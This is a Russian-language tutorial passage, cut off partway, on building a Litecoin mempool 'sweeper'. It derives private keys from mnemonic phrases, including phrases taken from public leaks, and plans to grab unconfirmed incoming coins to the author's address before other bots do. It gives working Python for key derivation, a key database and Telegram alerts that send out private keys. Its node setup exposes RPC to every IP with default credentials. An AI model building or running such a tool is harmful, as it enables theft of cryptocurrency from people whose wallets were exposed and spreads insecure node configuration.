Предисловие.
Недавно я узнал о таких софтах для работы с мнемоническими фразами, чья задача — тратить еще не подтвержденные UTXO. То есть выводить еще не подтвержденные монеты с адреса. Именно такой софт и будет реализован в данной статье. В качестве монеты был выбран LiteCoin.Краткое объяснение устройства софта.
Для теста на практике я буду использовать публичные базы с мнемониками, свои личные кошельки, а также рандомно сгенерированные мнемоники. Основная сложность будет в том, что к публичным мнемоникам уже подключены подобного рода софты, и в дальнейшем с ними придется бороться в скорости и перебитии их транзакций своими. Но об этом будет сказано уже при рассмотрении логики работы софта более подробно, а сейчас лишь краткий план действий.- Для начала нужно получить из мнемонической фразы адреса и приватные ключи.
Чтобы получать информацию о транзакциях до того, как они появились, надо проверять их именно в mempool — там находятся только неподтвержденные транзакции. - В mempool нужно проходиться по списку транзакций, находить выходы каждой транзакции и искать в этих выходах адреса, принадлежащие вашим мнемоническим фразам.
Если в выходах есть адрес, принадлежащий вашим мнемоническим фразам, то тогда брать эти выходы. - Затем, используя приватный ключ, принадлежащий адресу, и сам адрес, создавать транзакцию, используя взятые выходы, и использовать их как вход в своей новой транзакции, а на выход ставить свой второй адрес, на который и будут отправляться все монеты. Сумму (желательно 50 процентов от общей суммы) устанавливать так, чтобы комиссия была большой и транзакция быстрее подтвердилась.
- После создания транзакции нужно ее подписать (с использованием приватного ключа), а затем отправить в блокчейн на обработку.
О работе с собственной нодой.
Как вы могли уже догадаться, придется работать с нодой. Лично я буду устанавливать ноду самостоятельно на своем домашнем сервере. Также я расскажу, как это делал именно я, с какими проблемами столкнулся и какие решения нашел (или не нашел). Но если не хочется возиться с установкой ноды, то всегда есть сервисы по типу getblock.io или nownodes.io, предоставляющие бесплатный доступ к различным нодам, но с ограничением по количеству запросов.Структура моего домашнего сервера.
Для начала расскажу о том, как я все устроил на домашнем сервере, чтобы мои решения были более понятны. Сам сервер у меня на Windows Server 2025, на нем у меня множество виртуальных машин на Hyper-V. На каждой виртуальной машине у меня также стоит серверная Windows. Для ноды будет создана отдельная виртуальная машина на Windows Server 2025. На виртуальной машине будет установлен Docker с Ubuntu. В Docker будет установлена нода.Почему я сразу не поставил на виртуальную машину Ubuntu и не поставил сразу же ноду?
Дело в том, что с Linux я практически никогда не работал, а вот с Docker уже достаточно хорошо знаком, и мне показалось, что если возникнут проблемы с виртуальной машиной или нодой, я решу эти проблемы гораздо быстрее, если сама виртуальная машина будет на Windows, а нода — в Docker.Почему я использовал виртуальную машину Hyper-v а не тот же VirtualBox?
Изначально я установил VirtualBox, но он максимально сильно лагал, даже с огромными ресурсами в его распоряжении. Решение я найти не смог, и судя по вопросам в гугле, мало кто смог. Поэтому было решено попробовать Hyper-V, и это оказалось очень хорошей идеей, так как такие виртуальные машины абсолютно не лагали и работали так же отлично, как и обычный компьютер, даже при минимально выделенных ресурсах. Так что, если будете ставить виртуалку на основной системе Windows, советую не тратить время на VirtualBox.Настройка и создание виртуальной машины.
Теперь же, если вы решили устанавливать ноду также на виртуальную машину, то предоставлю краткую инструкцию, как это делал я.
Создание виртуальной машины.
Первое, что требуется, так это включить Hyper-V в основной системе. Так как в качестве основной системы у меня Windows Server 2025, то включение Hyper-V происходит немного другим образом, нежели на обычной Windows.Для начала нужно открыть Диспетчер серверов, а затем зайти в меню "Добавление ролей и компонентов", где и нужно включить Hyper-V.
В открывшемся меню просто нужно прокликивать "Далее", пока не появится выбор компонентов.
После установки систему нужно перезапустить.
После перезапуска системы можно начинать создавать и настраивать виртуальную машину, так как теперь в поиске Windows можно найти приложение "Диспетчер Hyper-V".
При заходе в него сразу же создаем виртуальную машину:
Памяти я указал 16 ГБ, это вполне хватит. В будущем же Docker будет брать себе автоматически 50% от всей памяти системы, так что 8 ГБ на ноду, а остальное на саму систему.
Поставил 2 ТБ с расчетом на будущий рост веса ноды (в данный момент нода весит 190 ГБ), а также из-за проблемы с Docker, о которой я расскажу, когда буду показывать настройку и установку ноды на Docker.
После этого виртуальная машина начнет создаваться, но мы не настраивали количество потоков, выделяемых на виртуалку. Это нужно делать после создания виртуальной машины, предварительно ее отключив. Для настройки нужно нажать на виртуальную машину правой кнопкой мыши, выбрать "Параметры" и затем выбрать раздел с процессором.
Установка WSL.
После этого уже можно было бы устанавливать докер и ноду на сервер, но перед этим стоит обговорить очень важный момент, а именно WSL.Если кратко, то WSL — это подсистема Windows, которая позволяет устанавливать и запускать дистрибутивы Linux. Что-то типа Hyper-V, если выражаться грубо.
В докере есть возможность использовать либо Hyper-V, либо WSL. По моим наблюдениям, при использовании WSL нода ставилась и работала быстрее, чем на Hyper-V. Поэтому рекомендую также использовать WSL.
WSL и Hyper-V — это так или иначе виртуализация, а на виртуальной машине она по умолчанию выключена, и без нее не получится поставить докер ни с тем, ни с другим. Чтобы включить виртуализацию на виртуальной машине, нужно в основной системе открыть PowerShell с правами администратора и ввести эту команду:
Set-VMProcessor -VMName "Название виртуальной машины" -ExposeVirtualizationExtensions $true
Далее на самой виртуальной машине нужно включить WSL.
После этого включаем Virtual Machine Platform командой в PowerShell с правами администратора:
Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform
Затем виртуальная машина перезапустится, и можно будет устанавливать докер.
Настройка Docker.
При установке докера будет выбор метода виртуализации: WSL или Hyper-V. Если докер уже установлен, чтобы переключиться на WSL, нужно перейти в параметры и установить только одну галочку.
P.S. Советую делать все в таком же порядке, как и я, иначе, если вы уже поставили ноду в докере на Hyper-V или у вас есть другие установленные в докере контейнеры, то при смене на WSL виртуальный жесткий диск, который создавался докером под Hyper-V, не будет работать (лично у меня не стал работать диск, созданный при Hyper-V), и придется все контейнеры собирать заново.
Не нормальное поглощение памяти Docker.
Раз пошла речь о докере, поговорим о его любви к пожиранию всей памяти компьютера своим виртуальным диском vhdx.
Рассмотрим для начала пример с нодой Dash.
Вес ноды на данный момент составляет около 70 GB, и в самом Docker Desktop всё так и отображается. НО, по факту, виртуальный диск докера занимал 300 GB только на момент скачивания половины ноды, то есть около 35 GB.
В интернете подобную проблему связывали с неочищенным кешем, неиспользуемыми образами и контейнерами. Для очистки советовали использовать эту команду:
docker system prune -a
Данная команда очищает все неиспользуемые контейнеры, образы, кеш. И она действительно работает. Но есть пару НО:
- У меня изначально не было ничего, кроме ноды в докере.
- Очистился кеш, которого было всего 480 MB, что буквально является каплей в море.
После очистки виртуальный диск VHDX не уменьшается автоматически, и для этого нужно использовать один из модулей Hyper-V, называется он Optimize-VHD.
Хоть мне это и не особо помогло, но в других случаях при реальном существовании забытых давно образов и контейнеров этим можно воспользоваться.
Для того, чтобы воспользоваться Optimize-VHD, нужно для начала включить виртуализацию в самой виртуальной машине точно так же, как это было показано в начале статьи для основной системы.
Затем следуем этим шагам:
Открываем PowerShell с правами администратора и поочередно вводим команды ниже:
- net stop com.docker.service
- taskkill /IM "docker.exe" /F
- taskkill /IM "Docker Desktop.exe" /F
- wsl --shutdown
- Optimize-VHD -Path <путь_до_папки_пользователя>\AppData\Local\Docker\wsl\disk\docker_data.vhdx -Mode Full
После этого диск сожмется, но, как я сказал чуть ранее, мне это не помогло. Зато помогла утилита DiskPart, которая сжала 300 GB до 45 при отображаемом в докере весе в 35 GB.
Чтобы ей воспользоваться, нужно открыть PowerShell от имени администратора и ввести эти команды:
- net stop com.docker.service
- taskkill /IM "docker.exe" /F
- taskkill /IM "Docker Desktop.exe" /F
- wsl --shutdown
- diskpart
- select vdisk file="<полный путь до vhdx файла>"
- compact vdisk
Кроме того, что данная утилита оказалась эффективнее, чем Optimize-VHD, она ещё и сработала в несколько раз быстрее — буквально пару минут по сравнению с 40 минутами работы Optimize-VHD.
Хочу отметить, что диск периодически всё равно может расширяться с нереально огромной скоростью и пропорцией к настоящему весу ноды. Именно из-за этого я добавил большой объём памяти для виртуальной машины, чтобы не проводить эти манипуляции ежедневно.
Пишу я об этом всем, потому что в предыдущих моих статьях люди писали, что установить свою ноду того же Bitcoin проще и нужно всего 500 GB. Возможно, если вы ставите сразу на Linux, а не в контейнер Docker, то да. Но в ином случае вам потребуется большой запас памяти, чтобы нода работала бесперебойно.
Как пример возьму теперь ноду Litecoin.
Вес полностью скачанной ноды на данный момент у меня составляет 217 GB, а вес виртуального диска по факту составляет 309 GB. И это очень странно, т.к. нода того же Dash весит меньше, но диск был гораздо больше, чем у Litecoin. А если речь идет о Bitcoin ноде, то я не могу представить, как себя поведет Docker со своим виртуальным диском, вполне возможно, он будет поглощать по несколько терабайт.
Также ещё одной странностью является то, что нода Litecoin полностью установилась примерно за сутки при скорости интернета 150 Мбит/с. А нода Dash устанавливалась чуть больше двух суток при таких же характеристиках системы и скорости интернета. И опять же, угадать, как поведет себя нода Bitcoin в таком случае, я не могу (Но я обязательно установлю её и проверю).
Также при поиске решения проблемы с весом я нашёл аналог ввода команды docker system prune -a и подобным, а именно плагин для Docker под названием Disk Usage. Данный плагин делает по сути то же самое, что и команда docker system prune -a, но через интерфейс Docker.
Файлы для установки ноды.
Теперь все основные проблемы были показаны, и по возможности их решения тоже, и можно приступать к установке ноды. Первым делом нужно создать три файла внутри заранее подготовленной пустой папки.- docker-compose.yml
- litecoin.conf
- Dockerfile (без расширения)
Dockerfile:
Код:
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y wget tar dirmngr
WORKDIR /opt
RUN wget https://download.litecoin.org/litecoin-0.21.4/linux/litecoin-0.21.4-x86_64-linux-gnu.tar.gz --no-check-certificate \
&& tar -zvxf litecoin-0.21.4-x86_64-linux-gnu.tar.gz \
&& mv litecoin-0.21.4/bin/* /usr/bin \
&& rm -rf litecoin-0.21.4-x86_64-linux-gnu.tar.gz litecoin-0.21.4
RUN mkdir -p /root/.litecoin
COPY litecoin.conf /root/.litecoin/litecoin.conf
EXPOSE 9333 9332
CMD ["litecoind", "-printtoconsole"]
В нем мы указываем, какой образ будет использоваться для системы (ubuntu), обновляем пакеты на примере wget, скачиваем LitecoinCore последней на данный момент версии. Указываем и создаем директорию для хранения конфига для ноды, копируем в директорию сам конфиг-файл, а также открываем порты для работы с RPC-запросами на ноду и запускаем саму ноду.
docker-compose.yml
Код:
version: '3.8'
services:
litecoin:
build: .
container_name: litecoin_node
ports:
- "9333:9333" # P2P порт
- "9332:9332" # RPC порт
volumes:
- litecoin_data:/root/.litecoin
restart: unless-stopped
volumes:
litecoin_data:
В данном файле хочу лишь заострить внимание на следующих строках:
volumes: litecoin_data:Если не указать эти строки, то все файлы образа будут сохраняться в папке с текущим файлом, а если указать, то Docker самостоятельно будет управлять местоположением файлов.
litecoin.conf
Код:
printtoconsole=1
rpcallowip=0.0.0.0/0
rpcbind=0.0.0.0
txindex=1
addressindex=1
rpcuser=rpcuser
rpcpassword=rpcpassword
- printtoconsole=1 позволяет выводить логи в консоль.
- txindex=1 индексирует все транзакции по их хэшу (это обязательно, иначе нельзя будет выполнять RPC для большинства команд, связанных с транзакциями).
- addressindex=1 индексирует все кошельки. Это также обязательный параметр для того, чтобы искать и выполнять запросы на конкретные кошельки. Если это не указать на старте, придётся переиндексировать всю ноду, что достаточно долго (именно это мне и пришлось делать).
rpcallowip=0.0.0.0/0указывает, с каких адресов можно подключаться к серверу.rpcbind=0.0.0.0указывает, на каком адресе будет работать нода.- rpcuser и rpcpassword нужны для того, чтобы подключаться по RPC.
rpcallowip=0.0.0.0/0.Данная строка означает, что можно подключаться к ноде с любого IP. Если бы было указано 127.0.0.1, то в таком случае можно было бы обращаться только из той же среды, где установлена нода, то есть из Docker. Даже если бы вы отправляли запросы с той же виртуальной машины, но не в Docker, запросы бы не обрабатывались.
Установка ноды.
Подготовка к установке ноды завершена, и настало время создать контейнер, используя консольную команду docker-compose up -d, которую нужно ввести в консоль, открытую внутри папки с файлами docker-compose.yml, litecoin.conf и Dockerfile.Во время синхронизации ноды в Docker будет наблюдаться следующая картина:
Чтобы проверить синхронизацию ноды с блокчейном, нужно ввести в консоль эту команду:
docker exec -it litecoin_node litecoin-cli getblockchaininfoДанная команда отображает процент синхронизации блокчейна в строке "verificationprogress". Если значение данного ключа равно 1 или 0.99, значит, нода синхронизирована.
Внешний доступ к ноде.
После установки ноды, если вам нужно чтобы доступ к ней был не только с виртуальной машины, то потребуется пробросить порт в панели роутера и также разрешить к нему подключения в Firewall Windows и необходимо сделать локальный ip статичным.- Нажмите правой кнопкой мыши (ПКМ) на значок интернета в правом нижнем углу экрана.
- Выберите «Параметры сети и Интернет».
- Перейдите в раздел «Ethernet».
- Найдите пункт «Назначение IP» и измените его с автоматического на ручной IPv4.
- Укажите следующие параметры:
- IP-адрес, маску подсети и основной шлюз — возьмите из результата команды ipconfig, выполненной в консоли (cmd).
- DNS: основной — 8.8.8.8, запасной — 8.8.4.4.
Теперь перейдем к пробросу портов на роутере. Пример будет показан на роутере Keenetic GIGA.
Теперь настройка Firewall Windows:
Теперь можно перейти по адресу «Внешний IP:6969», и если открылась страница, подобная показанной на скриншоте ниже, значит доступ есть.
Порт в адресе — это тот, с которого перенаправляется подключение на порт 9332 (RPC порт). Внешний IP можно узнать на сайте 2ip.ru.
Начало работы над софтом.
Когда нода полностью синхронизирована и доступ к ней настроен, можно приступать к написанию самого софта для работы с pending транзакциями. Первое, что потребуется, — это скачать необходимый для некоторых Python-библиотек модуль C++ для корректной установки необходимых в будущем библиотек Python: Microsoft C++ Build Tools - Microsoft C++ Build Tools - Visual Studio
Теперь приступаем к коду. Как было сказано в начале статьи, работа будет заключаться в выводе пендинг транзакций (неподтвержденных) с адресов из мнемонических фраз, которые у вас либо есть свои, либо из публичного доступа.
Разделение логики на несколько разных софтов.
Можно было бы брать мнемоническую фразу, получать из нее адреса и приватные ключи, сверять их с адресами из выходов в транзакциях mempool и, если есть совпадения, работать уже над выводом неподтвержденных монет. Но получение адресов и приватных ключей занимает какое-то время, а одной из главных задач является максимальная скорость, поэтому будет отдельный софт, который будет получать адреса и приватные ключи из мнемонических фраз, и уже с ними будет работать основной софт. Таким образом, основному софту не придется тратить время на лишние действия.Также будет еще один софт, который будет записывать полученные из мнемонической фразы адреса и приватные ключи в базу данных, из которой впоследствии основной софт и будет брать данные.
Выбор СУБД.
При выборе СУБД стоял выбор из двух знакомых мне СУБД — SQLite и Postgres. Был выбран Postgres по причине того, что SQLite не умеет работать в асинхроне в отличие от Postgres, а также не поддерживает работу с несколькими подключениями к базе данных, что в дальнейшем может оказаться проблемой.Установка Postgres.
Postgres я буду устанавливать внутри контейнера Docker, точно так же как и визуальную оболочку для его управления. В качестве оболочки была выбрана Adminer.Перед установкой необходимо создать папку и внутри неё создать файл docker-compose.yaml, указав в нём этот код:
Код:
version: '3.8'
services:
db:
container_name: db
image: postgres:latest
restart: always
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
POSTGRES_DB: postgres
ports:
- '5432:5432'
volumes:
- db-data:/var/lib/postgresql/data # Определение тома для PostgreSQL данных
adminer:
image: adminer
ports:
- "8080:8080"
environment:
ADMINER_DESIGN: "hydra"
volumes:
db-data:
Чтобы создать контейнер потребуется открыть консоль внутри папки и ввести команду docker-compose up -d
Почему был выбран Adminer?
Он был выбран по ряду причин, таких как:- Простая установка в Docker (Docker-файл у меня уже давно готов, и все, что мне нужно, это просто ввести одну команду, и Postgres и Adminer сразу же установятся; для меня это быстрее, чем тот же pgAdmin).
- Возможность работать с множеством различных СУБД.
- Возможность поставить свой кастомный дизайн для панели управления.
Изъян Adminer.
В одной из предыдущих статей меня оповестили о том, что Adminer шлет логи своему разработчику. Проверять я этого не стал и не знаю, что конкретно он отправляет, но держите это в виду.Подготовка проекта Python.
Так как у нас будет несколько программ в одном проекте и множество Python-файлов, лучше сразу выстроить правильную архитектуру проекта.Для начала, в основной папке проекта создадим три Python-файла и конфиг с параметрами:
- database.py (Подключение к базе данных, создание таблиц)
- ltc.py (Основная логика)
- messages.py (Шаблоны сообщений для вывода в консоль и отправки в Telegram, а также сама отправка в Telegram)
- config.json
- mnemonic_converter
- import_private_key
Программа для получения адресов и приватных ключей.
Так как первым делом нужно получить адреса и приватные ключи, именно для этого софта мы и рассмотрим.Рассмотрим для начала данные из if __name__ == "__main__":
В нем для начала нужно указать необходимые переменные.
Python:
file_path = "./mnemonic_converter/mnemonics.txt" # Путь к файлу с мнемоническими фразами
output_file_path = "./mnemonic_converter/output.txt" # Путь к файлу для записи результата
depth = 5 # Количество генерируемых адресов и приватных ключей для каждой фразы
P.S. Их можно указать и не внутри if __name__ == "__main__":
Затем, ниже нужно указать вызов функции для чтения мнемонических фраз из текстового файла:
asyncio.run(process_mnemonics())
if __name__ == "__main__": можно вообще не использовать, но с ним все же будет более правильно.
Чтение файла с мнемоническими фразами.
Теперь рассмотрим функцию чтения мнемонических фраз из текстового файла:
Python:
async def process_mnemonics():
async with aiofiles.open(file_path, "r", encoding="utf-8") as file:
mnemonics = await file.readlines()
tasks = [process_mnemonic(mnemonic) for mnemonic in mnemonics]
await asyncio.gather(*tasks)
С первыми строками все понятно: просто чтение файла и запись мнемонических фраз в переменную. А вот со строкой
tasks = [process_mnemonic(mnemonic) for mnemonic in mnemonics] я считаю, нужно разобраться подробнее, так как не все понимают, что такое корутина.Если кратко, то корутина — это объекты или задачи, которые будут выполнены позже. В нашем случае это вызов функции process_mnemonic. То есть первым делом срабатывает цикл for, который записывает мнемоническую фразу из списка в переменную. При каждой итерации цикла, то есть при записи мнемонической фразы в переменную, создается корутина вызова функции process_mnemonic с записанной в переменную мнемонической фразы.
Python:
await asyncio.gather(*tasks)
Обработка мнемонической фразы.
Теперь рассмотрим функцию process_mnemonic. В данной функции будет лишь небольшая обработка мнемонической фразы, вызов функции для генерации адресов и приватных ключей, а также запись результатов в текстовый файл и вывод этих результатов в консоль.
Python:
async def process_mnemonic(mnemonic_phrase):
async with aiofiles.open(output_file_path, "a", encoding="utf-8") as output_file:
# Убирает пробелы в начале и в конце мнемонической фразы если они есть
mnemonic_phrase = mnemonic_phrase.strip()
# Если мнемоническая фраза есть
if mnemonic_phrase:
wallets = await mnemonic_to_wallet(mnemonic_phrase)
# Если переменная не пустая
if wallets:
for wallet in wallets:
# Данные из переменной разбиваются на отдельные переменные для адресов, приватных ключей и т.д
address, private_key_wif = wallet
# Данные из двух переменных записываются в переменную result.
result = f"{private_key_wif}:{address}\n"
# Вывод данных в консоль
print(result)
# Запись в файл
await output_file.write(result)
else:
print(f"Не удалось обработать фразу: {mnemonic_phrase}")
Вызов функции для генерации адресов и приватных ключей находится в этой строчке:
wallets = await mnemonic_to_wallet(mnemonic_phrase)Получение адресов и приватных ключей.
Ну а сейчас рассмотрим одну из самых интересных функций в данном конвертере — функцию mnemonic_to_wallet.
Python:
async def mnemonic_to_wallet(mnemonic_phrase):
# Объект для хранения созданных
all_wallets = []
try:
# Генерируем seed из мнемонической фразы
seed = Bip39SeedGenerator(mnemonic_phrase).Generate("")
# Список стандартов для генерации кошельков
wallet_standards = [
(Bip44, Bip44Coins.LITECOIN), # BIP44 - Legacy адреса
(Bip49, Bip49Coins.LITECOIN), # BIP49 - SegWit адреса
(Bip84, Bip84Coins.LITECOIN) # BIP84 - Native SegWit (Bech32)
]
for wallet_class, coin_type in wallet_standards:
# Создаем мастер-кошелек из seed используя данные из wallet_standards
# То-есть стандарт кошелька, например Bip44 а так же монету, в нашем случае Bip44Coins.LITECOIN
master_wallet = wallet_class.FromSeed(seed, coin_type)
# Генерируем два типа адресов: для получения и для сдачи
# Bip44Changes.CHAIN_EXT для получения
# Bip44Changes.CHAIN_INT для сдачи
for change_type in [Bip44Changes.CHAIN_EXT, Bip44Changes.CHAIN_INT]:
# Генерируем конкретное количество (указанное в переменной depth) адресов
for address_index in range(depth):
# Строим путь деривации
derived_key = (master_wallet
.Purpose() # Начало пути (BIP44/49/84)
.Coin() # Выбор монеты (Litecoin)
.Account(0) # Основной аккаунт
.Change(change_type) # Тип адреса
.AddressIndex(address_index)) # Номер адреса
# Получаем адрес кошелька
address = derived_key.PublicKey().ToAddress()
# Конвертируем приватный ключ
raw_private_key = derived_key.PrivateKey().Raw().ToHex()
wif_private_key = await private_key_to_wif(raw_private_key)
# Сохраняем результат
all_wallets.append((address, wif_private_key))
return all_wallets
except Exception as error:
print(f"Ошибка генерации кошельков: {error}")
return []
all_wallets = []В нем будут храниться полученные адреса и приватные ключи из мнемонической фразы.
seed = Bip39SeedGenerator(mnemonic_phrase).Generate("")Получение seed-фразы из мнемонической фразы (seed — это байтовое представление мнемонической фразы).
Python:
wallet_standards = [
(Bip44, Bip44Coins.LITECOIN), # BIP44 - Legacy адреса
(Bip49, Bip49Coins.LITECOIN), # BIP49 - SegWit адреса
(Bip84, Bip84Coins.LITECOIN) # BIP84 - Native SegWit (Bech32)
]
master_wallet = wallet_class.FromSeed(seed, coin_type)В данной строке создается мастер-ключ с использованием данных из списка wallet_standards.
Далее следует цикл for, который будет перебирать два типа адресов и подставлять их в переменную. Это тип внешних адресов для принятия монет и тип внутренних адресов для сдачи при каком-либо переводе монет.
for change_type in [Bip44Changes.CHAIN_EXT, Bip44Changes.CHAIN_INT]:Затем следует еще один цикл, призванный записывать в переменную значения, указанные в самом начале написания софта в переменной depth (количество генерируемых кошельков и приватных ключей для одного из типов).
for address_index in range(depth):Если в переменной указано 5, то будут подставляться числа от 0 до 4. address_index будет использоваться при деривации в качестве индекса адреса. Напомню, что все кошельки, как правило, генерируют и дают для пользования адреса, начиная с индекса 0, но бывали и исключения, когда кошельки выдавали адреса с рандомным индексом. Однако, насколько я знаю, такие кошельки уже вымерли.
Для чего нужна индексация адресов?
Дело в том, что мнемоническая фраза — это не какой-то один адрес, а тысячи и даже больше, как для типа для принятия монет, так и для типа сдачи монет. К тому же существуют еще и адреса как legacy, так и Segwit. Поэтому просто перебирать каждый для поиска нужного нет смысла. Существует индексация каждого адреса, и именно поэтому все кошельки выдают адреса по порядку, начиная с нулевого. Это необходимо для того, чтобы быстро перебрать адреса по индексу и найти нужные данные конкретных адресов.Вот и сам путь деривации:
Python:
derived_key = (master_wallet
.Purpose() # Начало пути (BIP44/49/84)
.Coin() # Выбор монеты (Litecoin)
.Account(0) # Основной аккаунт
.Change(change_type) # Тип адреса
.AddressIndex(address_index)) # Номер адреса
Далее следует получение адреса с помощью деривационного пути, а также получение приватного ключа и отправка его в функцию для конвертации в WIF формат. Затем все эти полученные данные добавляются в пустой объект, указанный в начале функции, и возвращаются в функцию process_mnemonic.
Python:
address = derived_key.PublicKey().ToAddress()
raw_private_key = derived_key.PrivateKey().Raw().ToHex()
wif_private_key = await private_key_to_wif(raw_private_key)
all_wallets.append((address, wif_private_key))
return all_wallets
Конвертация приватного ключа в формат WIF.
Теперь рассмотрим последнюю функцию в данном софте — функцию для конвертации приватного ключа в WIF формат.
Python:
async def private_key_to_wif(private_key_hex, compressed = True):
litecoin_prefix = b'\xb0' # Префикс для Litecoin
raw_key_bytes = bytes.fromhex(private_key_hex)
if compressed:
compressed_suffix = b'\x01'
key_with_suffix = raw_key_bytes + compressed_suffix
else:
key_with_suffix = raw_key_bytes
prefixed_key = litecoin_prefix + key_with_suffix
first_hash = hashlib.sha256(prefixed_key).digest()
second_hash = hashlib.sha256(first_hash).digest()
checksum = second_hash[:4]
full_wif_bytes = prefixed_key + checksum
base58_encoded = base58.b58encode(full_wif_bytes)
wif_string = base58_encoded.decode('utf-8')
return wif_string
- Конвертация ключа из hex в байты.
- В конец полученного байтового ключа добавляется префикс \x01, обозначающий, что ключ будет компрессированным.
- Добавление префикса в начале ключа. Префикс означает, что ключ будет для монеты LiteCoin..
- Хеширование и повторное хеширование первого хеша.
- Формирование полного payload путем добавления 4 байтов от хеша в конец ключа.
- Кодирование в Base58.
- Конвертация в строку.
На этом конвертер закончен, и при его запуске с одной мнемонической фразой получится ровно 30 адресов с приватными ключами.
Программа для загрузки всех адресов и приватных ключей в базу данных.
Далее следует второй софт, он предназначен для импортирования приватных ключей и адресов в базу данных Postgres. Софт асинхронный, функционал простой: все, что он делает, это берет данные из текстового файла, проверяет на дубликаты в базе данных, и если их нет, записывает в базу. Поэтому разбирать его не стану, просто укажу код с комментариями, которых должно быть достаточно.
Python:
import asyncio
import aiofiles
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import declarative_base, sessionmaker
from sqlalchemy import Column, String, select
# Определяем базовый класс для моделей
Base = declarative_base()
# Модель для таблицы private_key_address
class PrivateKeyAddress(Base):
__tablename__ = 'ltc_private_key_address'
private_key = Column(String, primary_key=True)
address = Column(String, nullable=False)
# Асинхронная функция для добавления данных в таблицу
async def add_private_key_and_address(session: AsyncSession, private_key: str, address: str):
query = select(PrivateKeyAddress).filter_by(private_key=private_key)
result = await session.execute(query)
existing_entry = result.scalars().first()
if existing_entry:
print(f"Запись с приватным ключом {private_key} уже существует, пропускаем.")
return
new_entry = PrivateKeyAddress(private_key=private_key, address=address)
session.add(new_entry)
await session.commit()
print(f"Приватный ключ и адрес добавлены: {private_key} - {address}")
# Асинхронная функция для обработки данных из файла
async def process_file_and_add_to_db(file_path: str, session: AsyncSession):
async with aiofiles.open(file_path, "r", encoding="utf-8") as file:
async for line in file:
line = line.strip()
# Разделение строки на две части, первая часть это приватный ключ, вторая часть это адрес
private_key, address = line.split(":", 1)
await add_private_key_and_address(session, private_key.strip(), address.strip())
# Основная асинхронная функция
async def main():
engine = create_async_engine(DATABASE_URL, echo=False)
async with engine.begin() as conn:
# Создаём таблицу, если она ещё не существует
await conn.run_sync(Base.metadata.create_all)
async_session = sessionmaker(bind=engine, expire_on_commit=False, class_=AsyncSession)
async with async_session() as session:
await process_file_and_add_to_db(file_path, session)
if __name__ == "__main__":
DATABASE_URL = 'postgresql+asyncpg://postgres:postgres@localhost:5432/postgres'
file_path = "./import_private_key/private_key_address.txt"
asyncio.run(main())
Основная программа.
Со второстепенными софтами закончено, и настало время переходить к главному и основному софту, ради которого и писалась вся эта статья.
Конфиг.
И первым делом считаю нужным показать конфиг с переменными, который будет использоваться программой.
JSON:
{
"bot": {
"token": "",
"chat_id":[]
},
"transaction": {
"fee_procent": 0.10,
"send_amount_procent": 0.90
},
"address": {
"to_address": ""
},
"rpc": {
"url": ""
},
"scheduler": {
"clear_interval_hours": 1
}
}
- В объекте bot должны храниться токен бота и chat_id пользователя. Это нужно для того, чтобы в дальнейшем организовать отправку уведомлений о переводе пендинг-транзакций на ваш кошелек.
- В объекте transaction указывается процент от суммы транзакции, который пойдет на комиссию, и процент, который пойдет на отправку вам на кошелек.
- address — это, соответственно, адрес кошелька, куда будут выводиться монеты из пендинг-транзакций.
- rpc — это ссылка на доступ к ноде, то есть внешний IP-адрес системы, где установлена нода, и порт, указанный в файлах Docker для установки ноды.
- В scheduler хранится ключ, который впоследствии будет использоваться для очистки памяти программы (позже будет объяснение, для чего это нужно).
Шаблон с уведомлениями.
Теперь рассмотрим Python-файл, в котором хранятся функции для отправки сообщений в Telegram и консоль. Можно сказать, это шаблоны сообщений.
Python:
async def telegram_message(bot_token, chat_ids, tx_hash, address, private_key, amount, n_index, send_amount, fee, sign, result_send):
"""Отправка сообщения об успешной транзакции в Telegram."""
for chat_id in chat_ids:
payload = {
"chat_id": chat_id,
"text": (
f"\n♻️ Пендинг транзакция LTC: {tx_hash}\n"
f"🪤|Адрес (из выхода): {address}\n"
f"🗝|Приватный ключ: {private_key}\n"
f"🍬|Сумма отправки: {amount} сатоши\n"
f"🆔|Индекс выхода: {n_index}\n"
f"💰|Сумма которую вывели: {send_amount}\n"
f"⚖️|Комиссия при выводе: {fee}\n"
f"✍🏿|Подписанная транзакция: {sign}\n"
f"💣|Результат: {result_send}\n"
)
}
await send_telegram_message(bot_token, payload)
async def address_not_found_message(tx_hash, address, amount, n_index):
return (
f"\nПендинг транзакция: {tx_hash}\n"
f"Адрес получателя {address} не найден в базе данных.\n"
f"Сумма: {amount} сатоши\n"
f"Индекс выхода: {n_index}\n"
)
async def send_telegram_message(bot_token, payload):
"""Функция для отправки сообщений в Telegram."""
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
await asyncio.to_thread(requests.post, url, data=payload)
Функции для работы с базой данных.
Теперь можно рассмотреть функцию для работы с базой данных. Она тоже максимально проста, и всё, что в ней есть, — это создание модели с таблицей для базы данных и подключение к базе данных Postgres.
Python:
# База данных
engine = create_async_engine("postgresql+asyncpg://postgres:postgres@localhost:5432/postgres", echo=False, pool_size=100, max_overflow=500)
session_factory = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)
Base = declarative_base()
class PrivateKeyAddress(Base):
__tablename__ = 'ltc_private_key_address'
private_key = Column(String, primary_key=True)
address = Column(String, nullable=False)
async def create_tables():
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
Чтение конфига.
Настало время разбора самой главной части проекта, той где будет происходить работа с пендинг транзакциями.Первое что будет сделано, так это чтение конфига и запись значений из него в переменные.
Python:
# Загружаем конфигурацию
with open("config.json", "r") as config_file:
config = json.load(config_file)
BOT_TOKEN = config["bot"]["token"]
CHAT_IDS = config["bot"]["chat_id"]
FEE_PROCENT = config["transaction"]["fee_procent"]
SEND_AMOUNT_PROCENT = config["transaction"]["send_amount_procent"]
TO_ADDRESS = config["address"]["to_address"]
RPC_URL = config["rpc"]["url"]
CLEAR_INTERVAL_HOURS = config["scheduler"]["clear_interval_hours"]
# Хранилище данных в памяти
private_key_address_map = {}
processed_tx_hashes = set()
RPC_USER = "rpcuser"
RPC_PASSWORD = "rpcpassword"
Также прошу запомнить переменные, подписанные как хранилище данных в памяти.
Функция для запуска Scheduler и основной логики программы.
Теперь рассмотрим первую функцию, которая будет вызываться.В ней будет инициализирован и запущен scheduler для выполнения функции очистки памяти с интервалом, указанным в конфиге.
Что такое Scheduler?
